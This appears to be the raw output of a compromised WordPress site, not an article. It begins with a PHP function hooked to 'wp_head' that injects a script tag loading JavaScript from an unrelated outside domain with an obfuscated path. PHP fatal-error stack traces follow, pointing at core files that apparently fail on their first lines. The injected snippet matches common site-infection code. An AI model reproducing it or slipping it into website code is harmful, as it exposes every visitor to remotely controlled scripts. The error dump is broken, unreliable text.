function claass() {
   echo '<script async src="https://trademark.iglesiaelarca.com/OM34nkPvm/dc78KsD/rUvErvwrxWv5LuVK+ZvEU="></script>';
}
add_action('wp_head', 'claass')<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function getallheaders() in /home/wwwroot/cntenders.co/wp-includes/class-wp-list-util.php:2
Stack trace:
#0 /home/wwwroot/cntenders.co/wp-settings.php(108): require()
#1 /home/wwwroot/cntenders.co/wp-config.php(88): require_once('/home/wwwroot/c...')
#2 /home/wwwroot/cntenders.co/wp-load.php(51): require_once('/home/wwwroot/c...')
#3 /home/wwwroot/cntenders.co/wp-blog-header.php(13): require_once('/home/wwwroot/c...')
#4 /home/wwwroot/cntenders.co/index.php(17): require('/home/wwwroot/c...')
#5 {main}
  thrown in <b>/home/wwwroot/cntenders.co/wp-includes/class-wp-list-util.php</b> on line <b>2</b><br />
<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function getallheaders() in /home/wwwroot/cntenders.co/wp-includes/l10n.php:1
Stack trace:
#0 /home/wwwroot/cntenders.co/wp-includes/load.php(1345): require_once()
#1 /home/wwwroot/cntenders.co/wp-includes/class-wp-fatal-error-handler.php(174): wp_load_translations_early()
#2 /home/wwwroot/cntenders.co/wp-includes/class-wp-fatal-error-handler.php(154): WP_Fatal_Error_Handler-&gt;display_default_error_template(Array, false)
#3 /home/wwwroot/cntenders.co/wp-includes/class-wp-fatal-error-handler.php(58): WP_Fatal_Error_Handler-&gt;display_error_template(Array, false)
#4 [internal function]: WP_Fatal_Error_Handler-&gt;handle()
#5 {main}
  thrown in <b>/home/wwwroot/cntenders.co/wp-includes/l10n.php</b> on line <b>1</b><br />